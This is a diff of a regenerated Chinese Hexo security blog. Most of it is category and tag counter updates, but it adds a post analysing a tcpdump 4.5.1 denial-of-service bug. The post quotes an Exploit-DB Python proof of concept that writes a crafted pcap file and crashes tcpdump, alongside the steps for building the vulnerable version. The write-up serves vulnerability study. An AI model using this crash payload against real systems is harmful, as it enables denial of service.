Site updated: 2019-03-23 12:40:40

2000/01/01/hello-world/index.html

@@ -559,7 +559,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
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@@ -570,7 +570,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
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2018/11/16/BIBA访问控制模型实现(python)/index.html

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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
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               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
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2018/12/23/基于规则引擎发现IOT设备/index.html

@@ -633,7 +633,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
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               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

2019/01/16/wifi半双工侧信道攻击学习笔记/index.html

@@ -760,7 +760,7 @@ Server   -------wire----------|
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
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               </div>
@@ -771,7 +771,7 @@ Server   -------wire----------|
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

2019/02/22/qq数据库的加密解密/index.html

@@ -610,7 +610,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -621,7 +621,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

2019/03/16/小米固件工具mkxqimage/index.html

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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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@@ -628,7 +628,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

2019/12/25/TCPDUMP拒绝服务攻击漏洞/index.html

@@ -68,7 +68,7 @@
 
 
 
-  <meta name="keywords" content="Hexo, NexT">
+  <meta name="keywords" content="TCPDUMP,拒绝服务攻击,">
 
 
 
@@ -80,13 +80,14 @@
 
 
 <meta name="description" content="TCPDUMP 4.5.1 拒绝服务攻击漏洞分析一、Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中，tcpdump 需要使用libpcap这个捕捉数">
+<meta name="keywords" content="TCPDUMP,拒绝服务攻击">
 <meta property="og:type" content="article">
 <meta property="og:title" content="TCPDUMP拒绝服务攻击漏洞">
 <meta property="og:url" content="https://cool-y.github.io/2019/12/25/TCPDUMP拒绝服务攻击漏洞/index.html">
 <meta property="og:site_name" content="混元霹雳手">
 <meta property="og:description" content="TCPDUMP 4.5.1 拒绝服务攻击漏洞分析一、Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中，tcpdump 需要使用libpcap这个捕捉数">
 <meta property="og:locale" content="zh-Hans">
-<meta property="og:updated_time" content="2019-03-23T04:35:48.091Z">
+<meta property="og:updated_time" content="2019-03-23T04:40:15.773Z">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="TCPDUMP拒绝服务攻击漏洞">
 <meta name="twitter:description" content="TCPDUMP 4.5.1 拒绝服务攻击漏洞分析一、Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中，tcpdump 需要使用libpcap这个捕捉数">
@@ -334,6 +335,28 @@
           </span>
 
           
+            <span class="post-category">
+            
+              <span class="post-meta-divider">|</span>
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-folder-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">分类于</span>
+              
+              
+                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
+                  <a href="/categories/二进制漏洞/" itemprop="url" rel="index">
+                    <span itemprop="name">二进制漏洞</span>
+                  </a>
+                </span>
+
+                
+                
+              
+            </span>
+          
 
           
             
@@ -414,7 +437,11 @@
 <li>tcpdump能够分析网络行为，性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息，从而使用户能够进一步找出问题的根源。</li>
 <li>也可以使用 tcpdump 的实现特定目的，例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量，如Telnet或HTTP的数据包，查看登录的用户名、密码、网址、正在浏览的网站内容，或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。</li>
 </ol>
-<h2 id="二、分析环境"><a href="#二、分析环境" class="headerlink" title="二、分析环境"></a>二、分析环境</h2><p>Ubuntu 16.04.4 LTS i686<br>tcpdump 4.5.1<br>gdb with peda</p>
+<h2 id="二、分析环境"><a href="#二、分析环境" class="headerlink" title="二、分析环境"></a>二、分析环境</h2><ul>
+<li>Ubuntu 16.04.4 LTS i686</li>
+<li>tcpdump 4.5.1</li>
+<li>gdb with peda</li>
+</ul>
 <h2 id="三、漏洞复现"><a href="#三、漏洞复现" class="headerlink" title="三、漏洞复现"></a>三、漏洞复现</h2><p>这个漏洞触发的原因是，tcpdump在处理特殊的pcap包的时候，由于对数据包传输数据长度没有进行严格的控制，导致在连续读取数据包中内容超过一定长度后，会读取到无效的内存空间，从而导致拒绝服务的发生。对于这个漏洞，首先要对pcap包的结构进行一定的分析，才能够最后分析出漏洞的成因，下面对这个漏洞进行复现。</p>
 <h3 id="1-编译安装tcpdump"><a href="#1-编译安装tcpdump" class="headerlink" title="1.编译安装tcpdump"></a>1.编译安装tcpdump</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">1.	# apt-get install libpcap-dev</span><br><span class="line">2.	# dpkg -l libpcap-dev</span><br><span class="line">3.	# wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span><br><span class="line">4.	# tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span><br><span class="line">5.	# cd tcpdump-4.5.1/</span><br><span class="line">6.	# ./configure</span><br><span class="line">7.	# make</span><br><span class="line">8.	# make install</span><br><span class="line">9.	# tcpdump –-version</span><br><span class="line">          tcpdump version 4.5.1</span><br><span class="line">          libpcap version 1.7.4</span><br></pre></td></tr></table></figure>
 <h3 id="2-生成payload（来自exploit-db-payload）"><a href="#2-生成payload（来自exploit-db-payload）" class="headerlink" title="2.生成payload（来自exploit-db payload）"></a>2.生成payload（来自exploit-db payload）</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"># Exploit Title: tcpdump 4.5.1 Access Violation Crash</span><br><span class="line"># Date: 31st May 2016</span><br><span class="line"># Exploit Author: David Silveiro</span><br><span class="line"># Vendor Homepage: http://www.tcpdump.org</span><br><span class="line"># Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz</span><br><span class="line"># Version: 4.5.1</span><br><span class="line"># Tested on: Ubuntu 14 LTS</span><br><span class="line">from subprocess import call</span><br><span class="line">from shlex import split</span><br><span class="line">from time import sleep</span><br><span class="line"></span><br><span class="line">def crash():</span><br><span class="line">    command = &apos;tcpdump -r crash&apos;</span><br><span class="line">    buffer     =   &apos;\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff&apos;</span><br><span class="line">    buffer     +=  &apos;\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00&apos;</span><br><span class="line">    buffer     +=  &apos;\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00&lt;\x9c7@\xff\x00&apos;</span><br><span class="line">    buffer     +=  &apos;\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a&apos;</span><br><span class="line">    buffer     +=  &quot;\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&amp;\x80\x18\&apos;&quot;</span><br><span class="line">    buffer     +=  &quot;xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n&apos;, &apos;\x00\x00\x00\x00&quot;</span><br><span class="line">    buffer     +=  &apos;\x00\x00\x00\x00\x01\x03\x03\x04&apos;</span><br><span class="line">    with open(&apos;crash&apos;, &apos;w+b&apos;) as file:</span><br><span class="line">        file.write(buffer)</span><br><span class="line">    try:</span><br><span class="line">        call(split(command))</span><br><span class="line">        print(&quot;Exploit successful!             &quot;)</span><br><span class="line">    except:</span><br><span class="line">        print(&quot;Error: Something has gone wrong!&quot;)</span><br><span class="line">def main():</span><br><span class="line">    print(&quot;Author:   David Silveiro                           &quot;)</span><br><span class="line">    print(&quot;   tcpdump version 4.5.1 Access Violation Crash    &quot;)</span><br><span class="line">    sleep(2)</span><br><span class="line">    crash()</span><br><span class="line">if __name__ == &quot;__main__&quot;:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>
@@ -485,6 +512,14 @@
 
     <footer class="post-footer">
       
+        <div class="post-tags">
+          
+            <a href="/tags/TCPDUMP/" rel="tag"># TCPDUMP</a>
+          
+            <a href="/tags/拒绝服务攻击/" rel="tag"># 拒绝服务攻击</a>
+          
+        </div>
+      
 
       
       
@@ -599,7 +634,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

about/index.html

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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

archives/2000/01/index.html

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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

archives/2000/index.html

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               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

archives/2018/11/index.html

@@ -398,7 +398,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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@@ -409,7 +409,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

archives/2018/12/index.html

@@ -398,7 +398,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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@@ -409,7 +409,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

archives/2018/index.html

@@ -433,7 +433,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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@@ -444,7 +444,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

archives/2019/01/index.html

@@ -398,7 +398,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -409,7 +409,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

archives/2019/02/index.html

@@ -398,7 +398,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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@@ -409,7 +409,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

archives/2019/03/index.html

@@ -398,7 +398,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
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@@ -409,7 +409,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

archives/2019/12/index.html

@@ -398,7 +398,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -409,7 +409,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

archives/2019/index.html

@@ -503,7 +503,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -514,7 +514,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

archives/index.html

@@ -618,7 +618,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -629,7 +629,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

categories/IOT/index.html

@@ -379,7 +379,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -390,7 +390,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

categories/index.html

@@ -298,10 +298,10 @@
         
           <div class="category-all-page">
             <div class="category-all-title">
-                目前共计 4 个分类
+                目前共计 5 个分类
             </div>
             <div class="category-all">
-              <ul class="category-list"><li class="category-list-item"><a class="category-list-link" href="/categories/IOT/">IOT</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/加密解密/">加密解密</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/理论学习/">理论学习</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/顶会论文/">顶会论文</a><span class="category-list-count">2</span></li></ul>
+              <ul class="category-list"><li class="category-list-item"><a class="category-list-link" href="/categories/IOT/">IOT</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/二进制漏洞/">二进制漏洞</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/加密解密/">加密解密</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/理论学习/">理论学习</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/顶会论文/">顶会论文</a><span class="category-list-count">2</span></li></ul>
             </div>
           </div>
         
@@ -370,7 +370,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -381,7 +381,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

categories/加密解密/index.html

@@ -379,7 +379,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -390,7 +390,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

categories/理论学习/index.html

@@ -379,7 +379,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -390,7 +390,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

categories/顶会论文/index.html

@@ -405,7 +405,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -416,7 +416,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

index.html

@@ -333,6 +333,28 @@
           </span>
 
           
+            <span class="post-category">
+            
+              <span class="post-meta-divider">|</span>
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-folder-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">分类于</span>
+              
+              
+                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
+                  <a href="/categories/二进制漏洞/" itemprop="url" rel="index">
+                    <span itemprop="name">二进制漏洞</span>
+                  </a>
+                </span>
+
+                
+                
+              
+            </span>
+          
 
           
             
@@ -1614,7 +1636,7 @@ tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -1625,7 +1647,7 @@ tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

sitemap.xml

@@ -4,7 +4,7 @@
   <url>
     <loc>https://cool-y.github.io/2019/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/</loc>
     
-    <lastmod>2019-03-23T04:35:48.091Z</lastmod>
+    <lastmod>2019-03-23T04:40:15.773Z</lastmod>
     
   </url>
   

tags/QQ/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/SSH/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/USENIX/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/index.html

@@ -298,10 +298,10 @@
         
           <div class="tag-cloud">
             <div class="tag-cloud-title">
-                目前共计 14 个标签
+                目前共计 16 个标签
             </div>
             <div class="tag-cloud-tags">
-              <a href="/tags/QQ/" style="font-size: 12px; color: #ccc">QQ</a> <a href="/tags/SSH/" style="font-size: 12px; color: #ccc">SSH</a> <a href="/tags/USENIX/" style="font-size: 12px; color: #ccc">USENIX</a> <a href="/tags/python/" style="font-size: 12px; color: #ccc">python</a> <a href="/tags/wifi/" style="font-size: 12px; color: #ccc">wifi</a> <a href="/tags/侧信道攻击/" style="font-size: 12px; color: #ccc">侧信道攻击</a> <a href="/tags/密码/" style="font-size: 12px; color: #ccc">密码</a> <a href="/tags/小米/" style="font-size: 12px; color: #ccc">小米</a> <a href="/tags/数据库/" style="font-size: 12px; color: #ccc">数据库</a> <a href="/tags/数据挖掘/" style="font-size: 12px; color: #ccc">数据挖掘</a> <a href="/tags/文件格式/" style="font-size: 12px; color: #ccc">文件格式</a> <a href="/tags/模型实现/" style="font-size: 12px; color: #ccc">模型实现</a> <a href="/tags/自然语言处理/" style="font-size: 12px; color: #ccc">自然语言处理</a> <a href="/tags/访问控制/" style="font-size: 12px; color: #ccc">访问控制</a>
+              <a href="/tags/QQ/" style="font-size: 12px; color: #ccc">QQ</a> <a href="/tags/SSH/" style="font-size: 12px; color: #ccc">SSH</a> <a href="/tags/TCPDUMP/" style="font-size: 12px; color: #ccc">TCPDUMP</a> <a href="/tags/USENIX/" style="font-size: 12px; color: #ccc">USENIX</a> <a href="/tags/python/" style="font-size: 12px; color: #ccc">python</a> <a href="/tags/wifi/" style="font-size: 12px; color: #ccc">wifi</a> <a href="/tags/侧信道攻击/" style="font-size: 12px; color: #ccc">侧信道攻击</a> <a href="/tags/密码/" style="font-size: 12px; color: #ccc">密码</a> <a href="/tags/小米/" style="font-size: 12px; color: #ccc">小米</a> <a href="/tags/拒绝服务攻击/" style="font-size: 12px; color: #ccc">拒绝服务攻击</a> <a href="/tags/数据库/" style="font-size: 12px; color: #ccc">数据库</a> <a href="/tags/数据挖掘/" style="font-size: 12px; color: #ccc">数据挖掘</a> <a href="/tags/文件格式/" style="font-size: 12px; color: #ccc">文件格式</a> <a href="/tags/模型实现/" style="font-size: 12px; color: #ccc">模型实现</a> <a href="/tags/自然语言处理/" style="font-size: 12px; color: #ccc">自然语言处理</a> <a href="/tags/访问控制/" style="font-size: 12px; color: #ccc">访问控制</a>
             </div>
           </div>
         
@@ -370,7 +370,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -381,7 +381,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/python/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/wifi/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/侧信道攻击/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">14</span>
+                  <span class="site-state-item-count">16</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>

tags/密码/index.html

@@ -378,7 +378,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">4</span>
+                  <span class="site-state-item-count">5</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -389,7 +389,7 @@
               
